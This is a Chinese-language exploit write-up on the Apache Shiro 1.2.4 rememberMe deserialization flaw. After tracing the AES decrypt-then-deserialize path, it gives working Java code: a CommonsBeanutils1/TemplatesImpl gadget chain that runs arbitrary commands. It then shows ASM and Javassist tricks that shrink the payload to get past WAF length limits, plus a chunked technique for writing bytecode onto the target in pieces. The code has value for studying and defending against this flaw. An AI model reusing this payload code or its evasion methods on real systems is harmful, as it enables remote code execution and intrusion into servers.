shiro反序列化

原理

版本1.2.4

下载环境

git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

官方解释

https://issues.apache.org/jira/browse/SHIRO-550

在默认情况下Shiro会使用CookieRememberMeManager功能，当后端接收到来自未经身份验证的用户的请求时，它将通过执行以下操作来寻找他们记住的身份：

检索cookie中RememberMe的值
Base64解码
使用AES解密
反序列化

由于AES加解密的秘钥被硬编码在代码中，这意味着有权访问源代码的任何人都知道默认加密密钥是什么，因此，攻击者可以创建一个恶意对象并对其进行序列化，编码，然后将其作为cookie发送，然后Shiro将解码并反序列化，从而导致恶意代码执行

分析

解密过程

在CookieRememberMeManager类中读取cookie跟踪

进入readValue()方法,将cookie中的remember字段值赋予value并返回

对数据进行base64解码

进入 AbstractRememberMeManager类中的convertBytesToPrincipals 方法 shiro拿到cookie后的关键代码,先decrypt再反序列化

跟到decrypt方法

在getCipherService方法中,获取到加密方法:AES/CBC/PKCS5Padding

调用具体的cipherService,传入加密后的数据和cipherKey进行解密
getDeryptionCipherKey()获取的值也就是这个默认key,硬编码在程序中
经过base64硬编码的秘钥，因为 AES 是对称加密，即加密密钥也同样是解密密钥

继续查看decrypt方法,通过cipherService的decrypt来解密数据,跟进后进入JcaCipherService类中的decrypt方法

继续跟进decrypt方法,完成解密后,返回解密后的数据

此时回到AbstractRememberMeManager类中的decrypt方法,可以查看到序列化数据

此时再进入deserialize方法,并进入跟进

此时进入到DefaultSerializer类中的deserialize方法,出现了readobject()

Shiro是默认依赖Commons-Beanutils1.8.3的，那么就可以利用CommonsBeanutils1反序列化链进行构造payload

一般在登陆状态,会先判断以下JSESSIONID的值,如果修改rememberMe以后没有作用,可以删除一下JSESSIONID

payload需要缩小背景

WAF会对rememberMe长度进行限制,甚至解密payload检查反序列化class

以CommonsBeanutils1链为例

序列化数据本身缩小

针对TemplatesImpl中的_bytecodes字节码缩小

对于执行的代码如何缩小(STATIC代码块)

将ysoserial生产的payload缩小

缩小前展示
用ysoserial生成CB1链,并进行base64

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
mvn clean package -DskipTests

长度为3872

方法

尝试自己构造Gadget

依赖

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.2</version>
</dependency>

构造代码

public static byte[] getPayloadUseByteCodes(byte[] byteCodes) {
    try {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        return serialize(queue);
    } catch (Exception e) {
        e.printStackTrace();
    }
    return new byte[]{};
}

恶意类

public class EvilByteCodes extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {

    }
}

读取字节码并设置到Gadget中，序列化后统计长度：2728

byte[] evilBytesCode = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
byte[] my = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(evilBytesCode));
System.out.println(new String(my).length());

还有三处可以优化：

设置_name名称可以是一个字符
其中_tfactory属性可以删除（分析TemplatesImpl得出）
其中EvilByteCodes类捕获异常后无需处理

setFieldValue(templates, "_name", "t");
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

try {
    Runtime.getRuntime().exec("calc.exe");
} catch (Exception ignored) {
}

经过这三处优化后得到长度：2608

从字节码层面进行优化

上文中的EvilBytesCode恶意类的字节码是可以缩减的
对字节码进行分析：javap -c -l EvilByteCodes.class

public class org.sec.payload.EvilByteCodes extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
  // transform 1 
  // transform 2
  // <init>
  // <clint>
  static {};
    Code:
       0: invokestatic  #2                  // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
       3: ldc           #3                  // String
       5: invokevirtual #4                  // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;
       8: pop
       9: goto          13
      12: astore_0
      13: return
    Exception table:
       from    to  target type
           0     9    12   Class java/lang/Exception
    LineNumberTable:
      line 11: 0
      line 13: 9
      line 12: 12
      line 14: 13
    LocalVariableTable:
      Start  Length  Slot  Name   Signature
}

可以看出，该类每个方法包含了三部分：

代码对应的字节码
ExceptionTable和LocalVariableTable
LineNumberTable

从JVM相关的知识可以得知，局部变量表和异常表是不能删除的，否则无法执行
但LineNumberTable是可以删除的
换句话来说：LINENUMBER指令可以全部删了
于是基于ASM实现删除LINENUMBER

byte[] bytes = Files.readAllBytes(Paths.get(path));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM9;
ClassVisitor cv = new ShortClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
byte[] out = cw.toByteArray();
Files.write(Paths.get(path), out);

ShortClassVisitor

public class ShortClassVisitor extends ClassVisitor {
    private final int api;

    public ShortClassVisitor(int api, ClassVisitor classVisitor) {
        super(api, classVisitor);
        this.api = api;
    }

    @Override
    public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
        MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
        return new ShortMethodAdapter(this.api, mv);
    }
}

重点在于ShortMethodAdapter：如果遇到LINENUMBER指令则阻止传递，可以理解为返回空

public class ShortMethodAdapter extends MethodVisitor implements Opcodes {

    public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
        super(api, methodVisitor);
    }

    @Override
    public void visitLineNumber(int line, Label start) {
        // delete line number
    }
}

读取编译的字节码并处理后替换

Resolver.resolve("/path/to/EvilByteCodes.class");
byte[] newByteCodes = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());

经过优化后得到长度：1832

使用javassist构造

以上代码虽然做到了超过百分之五十的缩小，但存在一个问题：目前的恶意类是写死的，无法动态构造
想要动态构造字节码一种手段是选择ASM做，但有更好的选择：Javassist
通过这样的一个方法，就可以根据输入命令动态构造出Evil类

private static byte[] getTemplatesImpl(String cmd) {
    try {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);

        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody("        try {\n" +
                            "            Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                            "        } catch (Exception ignored) {\n" +
                            "        }");

        CtMethod ctMethod1 = CtMethod.make("    public void transform(" +
                                           "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                                           "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {\n" +
                                           "    }", ctClass);
        ctClass.addMethod(ctMethod1);

        CtMethod ctMethod2 = CtMethod.make("    public void transform(" +
                                           "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                                           "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
                                           "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {\n" +
                                           "    }", ctClass);
        ctClass.addMethod(ctMethod2);

        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();

        return bytes;
    } catch (Exception e) {
        e.printStackTrace();
        return new byte[]{};
    }
}

将动态生成的字节码保存至当前目录，再读取加载

String path = System.getProperty("user.dir") + File.separator + "Evil.class";
Generator.saveTemplateImpl(path, "calc.exe");
byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());

经过优化后得到长度：1848

不难发现使用Javassist生成的字节码似乎本身就不包含LINENUMBER指令
不过这只是猜测，当使用上文的删除指令代码优化后，发现进一步缩小了

...
Generator.saveTemplateImpl(path, "calc.exe");
Resolver.resolve("Evil.class");
...
// 验证Payload是否有效    
Payload.deserialize(Base64.getDecoder().decode(payload));

经过优化后得到长度：1804

删除重写方法

可以发现Evil类继承自AbstractTranslet抽象类，所以必须重写两个transform方法
这样写代码会导致编译不通过，无法执行

public class EvilByteCodes extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception ignored) {
        }
    }
}

编译不通过不代表非法，通过手段直接构造对应的字节码

通过ASM删除方法

@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
    if (name.equals("transform")) {
        return null;
    }
    MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
    return new ShortMethodAdapter(this.api, mv, name);
}

通过Javassist直接构造

private static byte[] getTemplatesImpl(String cmd) {
    try {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody("        try {\n" +
                            "            Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                            "        } catch (Exception ignored) {\n" +
                            "        }");
        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();
        return bytes;
    } catch (Exception e) {
        e.printStackTrace();
        return new byte[]{};
    }
}

通过以上手段处理后进行反序列化验证：成功弹出计算器

String path = System.getProperty("user.dir") + File.separator + "Evil.class";
Generator.saveTemplateImpl(path, "calc.exe");
Resolver.resolve("Evil.class");
byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());
Payload.deserialize(Base64.getDecoder().decode(payload));

最终优化后得到长度：1332
并不是所有方法都能删除，比如不存在构造方法的情况下无法删除空参构造
于是有了一个新思路：删除静态代码块，将代码写入空参构造

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make("    public Evil(){\n" +
                                                  "        try {\n" +
                                                  "            Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                                                  "        }catch (Exception ignored){}\n" +
                                                  "    }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;

最终优化后得到长度：1296

分块传输

以上的内容都在围绕字节码和序列化数据的缩小，已经做到的接近极致，很难做到更小的
对于STATIC代码块中需要执行的代码也有缩小手段，这也是更有实战意义是思考，因为实战中不是弹个计算器这么简单
因此可以用追加的方式发送多个请求往指定文件中写入字节码，将真正需要执行的字节码分块
使用Javassist动态生成写入每一分块的Payload，以追加的方式将所有字节码的Base64写入某文件

static {
    try {
        String path = "/your/path";
        // 创建文件
        File file = new File(path);
        file.createNewFile();
        // 传入true是追加方式写文件
        FileOutputStream fos = new FileOutputStream(path, true);
        // 需要写入的数据
        String data = "BASE64_BYTECODES_PART";
        fos.write(data.getBytes());
        fos.close();
    } catch (Exception ignore) {
    }

在最后一个包中将字节码进行Base64Decode并写入class文件
（也可以直接写字节码二进制数据，不过认为Base64好分割处理一些）

static {
    try {
        String path = "/your/path";
        FileInputStream fis = new FileInputStream(path);
        // size取决于实际情况
        byte[] data = new byte[size];
        fis.read(data);
        // 写入Evil.class
        FileOutputStream fos = new FileOutputStream("Evil.class");
        fos.write(Base64.getDecoder().decode(data));
        fos.close();
    } catch (Exception ignored) {
    }
}

工具

payload缩小工具

其他问题

怎样检测目标框架中使用了shiro

直接查看请求响应中是否由**rememberMe=deleteMe**这样的Cookie